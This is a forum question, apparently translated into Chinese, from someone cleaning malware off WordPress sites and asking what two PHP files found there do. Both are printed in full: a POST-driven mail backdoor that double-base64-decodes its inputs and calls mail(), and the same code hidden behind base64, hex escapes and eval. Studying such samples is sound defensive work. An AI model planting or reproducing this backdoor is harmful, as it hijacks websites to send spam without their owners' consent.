PHP攻击服务器，这段代码在做什么

所以我一直在用wordpress帮助那些在他们的godaddy服务器上遭受恶意软件困扰的人。我想我已经删除了导致问题的代码，但我只是好奇这个 php 在做什么，似乎它循环访问存储在 POST 中的变量并尝试解码任何信息，然后通过电子邮件发送它......有人可以帮助我理解这一点吗？干杯

<?php 
    $data = array('');
    foreach ($_POST as $key => $value) {
        array_push($data, $value);
    }
    $jxWnO = stripslashes(base64_decode(base64_decode($data[1] ))); 
    $e2WPWta = stripslashes(base64_decode(base64_decode($data[2] ))); 
    $hwrDZxfxhl = stripslashes(base64_decode(base64_decode($data[3] )));  
    $JQiQiWf3Pg = stripslashes(base64_decode(base64_decode($data[4] )));  
    $Fr2ZEIZYuKj = mail(stripslashes($jxWnO), stripslashes($e2WPWta), stripslashes($hwrDZxfxhl), stripslashes($JQiQiWf3Pg));
    if ($Fr2ZEIZYuKj) { 
        echo $Fr2ZEIZYuKj;
    } else { 
        echo '99';
    }
?>

然后在一个单独的文件中：

<?php $code=base64_decode("XCRfZjJkZGFkYjBkZDUwNjdiODNjMjA0NDk2NmMwNDFiYWMgPSBhcnJheSgnJyk7IFx4NjZceDZGXHg3Mlx4NjVceDYxXHg2M1x4NjggKFwkXHg1Rlx4NTBceDRGXHg1M1x4NTQgYXMgXCRfN2Q1MDQ1ZTBmNTU5ODI4MzY4ODhiOGVmN2U4M2QzNzBlOTlmMjU4NGQxNzNhNmQ0MDRkNTQzNWQ1NWE3OGQ1NzBhNjk4ZWFhNDdmNDQ4NmJhNGVjYTg1MGJhMjgxMjQ3MmZkMjc0NmUzMzQ4MDI0NzY2ZWI5MzNlOTFjYTE5NWMgPT4gXCRfYzMxMGE5MGI0NjcxNGZhOTYzMzk0MTkwYjEyYThjNjFhYWFlNDk1Y2RhODE4ZTA5OWVkNmExYmUpIHtceDYxXHg3Mlx4NzJceDYxXHg3OVx4NUZceDcwXHg3NVx4NzNceDY4KFwkX2YyZGRhZGIwZGQ1MDY3YjgzYzIwNDQ5NjZjMDQxYmFjLCBcJF9jMzEwYTkwYjQ2NzE0ZmE5NjMzOTQxOTBiMTJhOGM2MWFhYWU0OTVjZGE4MThlMDk5ZWQ2YTFiZSk7fSBcJF9jNTNmOTg1NjJiYjM2M2RhNzE5YjBjNDQ2ZGQ4YzBhMTVjZWJmNDVhID0gXHg3M1x4NzRceDcyXHg2OVx4NzBceDczXHg2Q1x4NjFceDczXHg2OFx4NjVceDczKFx4NjJceDYxXHg3M1x4NjVceDM2XHgzNFx4NUZceDY0XHg2NVx4NjNceDZGXHg2NFx4NjUoXHg2Mlx4NjFceDczXHg2NVx4MzZceDM0XHg1Rlx4NjRceDY1XHg2M1x4NkZceDY0XHg2NShcJF9mMmRkYWRiMGRkNTA2N2I4M2MyMDQ0OTY2YzA0MWJhY1sxXSApKSk7IFwkXzhkMzQxZGM0ZjliZDM1YzdlOTQ1YmIxODJjM2Q0YzY4MjA0NTBhZWFmNGM2N2NmYThjYTkyZjBhOGFjOTI5MTEzZDdjZTRiYTA4NmE5ZGVmMzg5M2VlMjYwODgyNjUxOWFhYzI4YmIxZDM5NzZhMzZkZDU1NTBhMGVmZjdjNTYzID0gXHg3M1x4NzRceDcyXHg2OVx4NzBceDczXHg2Q1x4NjFceDczXHg2OFx4NjVceDczKFx4NjJceDYxXHg3M1x4NjVceDM2XHgzNFx4NUZceDY0XHg2NVx4NjNceDZGXHg2NFx4NjUoXHg2Mlx4NjFceDczXHg2NVx4MzZceDM0XHg1Rlx4NjRceDY1XHg2M1x4NkZceDY0XHg2NShcJF9mMmRkYWRiMGRkNTA2N2I4M2MyMDQ0OTY2YzA0MWJhY1syXSApKSk7IFwkX2RkYmU1ZDM5ID0gXHg3M1x4NzRceDcyXHg2OVx4NzBceDczXHg2Q1x4NjFceDczXHg2OFx4NjVceDczKFx4NjJceDYxXHg3M1x4NjVceDM2XHgzNFx4NUZceDY0XHg2NVx4NjNceDZGXHg2NFx4NjUoXHg2Mlx4NjFceDczXHg2NVx4MzZceDM0XHg1Rlx4NjRceDY1XHg2M1x4NkZceDY0XHg2NShcJF9mMmRkYWRiMGRkNTA2N2I4M2MyMDQ0OTY2YzA0MWJhY1szXSApKSk7IFwkXzAyMDNhYzU4NjU5YTllNTAxNDA4YjkxZGYyYzliNjFhMTFiM2EzODNiY2IzZGEwYmJmNTJhMTdiYTAwZDkwODggPSBceDczXHg3NFx4NzJceDY5XHg3MFx4NzNceDZDXHg2MVx4NzNceDY4XHg2NVx4NzMoXHg2Mlx4NjFceDczXHg2NVx4MzZceDM0XHg1Rlx4NjRceDY1XHg2M1x4NkZceDY0XHg2NShceDYyXHg2MVx4NzNceDY1XHgzNlx4MzRceDVGXHg2NFx4NjVceDYzXHg2Rlx4NjRceDY1KFwkX2YyZGRhZGIwZGQ1MDY3YjgzYzIwNDQ5NjZjMDQxYmFjWzRdICkpKTsgXCRfOWUyYjE3Njk3NjcyNGFiZmU1YjI3NGYyNWQyM2UwNWExMTAwNmUyZDgzMTVjNTRiOWZkZTEyOTNjYWI2MmJiZSA9IFx4NkRceDYxXHg2OVx4NkMoXHg3M1x4NzRceDcyXHg2OVx4NzBceDczXHg2Q1x4NjFceDczXHg2OFx4NjVceDczKFwkX2M1M2Y5ODU2MmJiMzYzZGE3MTliMGM0NDZkZDhjMGExNWNlYmY0NWEpLCBceDczXHg3NFx4NzJceDY5XHg3MFx4NzNceDZDXHg2MVx4NzNceDY4XHg2NVx4NzMoXCRfOGQzNDFkYzRmOWJkMzVjN2U5NDViYjE4MmMzZDRjNjgyMDQ1MGFlYWY0YzY3Y2ZhOGNhOTJmMGE4YWM5MjkxMTNkN2NlNGJhMDg2YTlkZWYzODkzZWUyNjA4ODI2NTE5YWFjMjhiYjFkMzk3NmEzNmRkNTU1MGEwZWZmN2M1NjMpLCBceDczXHg3NFx4NzJceDY5XHg3MFx4NzNceDZDXHg2MVx4NzNceDY4XHg2NVx4NzMoXCRfZGRiZTVkMzkpLCBceDczXHg3NFx4NzJceDY5XHg3MFx4NzNceDZDXHg2MVx4NzNceDY4XHg2NVx4NzMoXCRfMDIwM2FjNTg2NTlhOWU1MDE0MDhiOTFkZjJjOWI2MWExMWIzYTM4M2JjYjNkYTBiYmY1MmExN2JhMDBkOTA4OCkpOyBceDY5XHg2NiAoXCRfOWUyYjE3Njk3NjcyNGFiZmU1YjI3NGYyNWQyM2UwNWExMTAwNmUyZDgzMTVjNTRiOWZkZTEyOTNjYWI2MmJiZSl7IFx4NjVceDYzXHg2OFx4NkYgXCRfOWUyYjE3Njk3NjcyNGFiZmU1YjI3NGYyNWQyM2UwNWExMTAwNmUyZDgzMTVjNTRiOWZkZTEyOTNjYWI2MmJiZTt9IGVsc2UgeyBceDY1XHg2M1x4NjhceDZGICdceDM5XHgzOSc7fQ=="); eval("return eval('"$code'");") ?>